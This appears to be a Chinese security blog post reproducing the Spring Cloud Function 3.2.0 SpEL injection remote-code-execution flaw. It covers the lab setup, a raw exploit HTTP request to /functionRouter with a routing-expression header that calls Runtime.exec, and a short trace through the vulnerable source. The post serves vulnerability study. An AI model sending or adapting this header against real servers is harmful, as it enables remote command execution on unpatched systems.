Spring Cloud Function 漏洞复现

admin 2022年4月11日20:57:34评论88 views字数 1998阅读6分39秒阅读模式

文章首发于:

火线Zone社区(https://zone.huoxian.cn/)


一、环境搭建


https://codeload.github.com/spring-cloud/spring-cloud-function/zip/refs/tags/v3.2.0


下载当前的压缩包直接用IDEA 打开


spring-cloud-function-samples/function-sample-pojo  


就可以执行运行环境


Spring Cloud Function 漏洞复现


进行访问


Spring Cloud Function 漏洞复现


二、修改配置文件的RCE方式


Spring Cloud Function 漏洞复现


然后随意路由


Spring Cloud Function 漏洞复现


三、默认配置文件下的RCE


Spring Cloud Function 漏洞复现


POST /functionRouter HTTP/1.1Host: 192.168.66.101:8080spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("calc")
Content-Type: application/x-www-form-urlencodedContent-Length: 5
test


四、代码分析


TestRoutingFunctionTests.java
(访问链接:https://a.r.sn.cn/HKuLyw)

好像是调用apply 函数。传递了Message 类型的input

那么从这里打断点

实际上触发的代码块为:

function = this.functionFromExpression((String)message.getHeaders().get("spring.cloud.function.routing-expression"), message);


往下更进

private FunctionInvocationWrapper functionFromExpression(String routingExpression, Object input) {        Expression expression = this.spelParser.parseExpression(routingExpression);        String functionName = (String)expression.getValue(this.evalContext, input, String.class);        Assert.hasText(functionName, "Failed to resolve function name based on routing expression '" + this.functionProperties.getRoutingExpression() + "'");        FunctionInvocationWrapper function = (FunctionInvocationWrapper)this.functionCatalog.lookup(functionName);        Assert.notNull(function, "Failed to lookup function to route to based on the expression '" + this.functionProperties.getRoutingExpression() + "' whcih resolved to '" + functionName + "' function name.");        if (logger.isInfoEnabled()) {            logger.info("Resolved function from provided [routing-expression]  " + routingExpression);        }
       return function;    }


Spring Cloud Function 漏洞复现


参考链接:

  • https://mp.weixin.qq.com/s/ssHcLC72wZqzt-ei_ZoLwg

  • https://wx.zsxq.com/dweb2/index/topic_detail/184254458222452


【火线Zone云安全社区群】

进群可以与技术大佬互相交流

进群有机会免费领取节假日礼品

进群可以免费观看技术分享直播

识别二维码回复【社区群】进群

Spring Cloud Function 漏洞复现


【火线zone社区周激励】

2022.4.4~ 2022.4.10公告

Spring Cloud Function 漏洞复现


【相关精选文章】


Spring Cloud Function 漏洞复现


Spring Cloud Function 漏洞复现


Spring Cloud Function 漏洞复现

火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!

如需转载火线Zone公众号内的文章请联系火线小助手:hxanquan(微信)


Spring Cloud Function 漏洞复现

//  火线Zone //

微信号 : huoxian_zone


Spring Cloud Function 漏洞复现

点击阅读原文,加入社区,共建一个有技术氛围的优质社区!

原文始发于微信公众号(火线Zone):Spring Cloud Function 漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月11日20:57:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud Function 漏洞复现http://cn-sec.com/archives/899209.html

发表评论

匿名网友 填写信息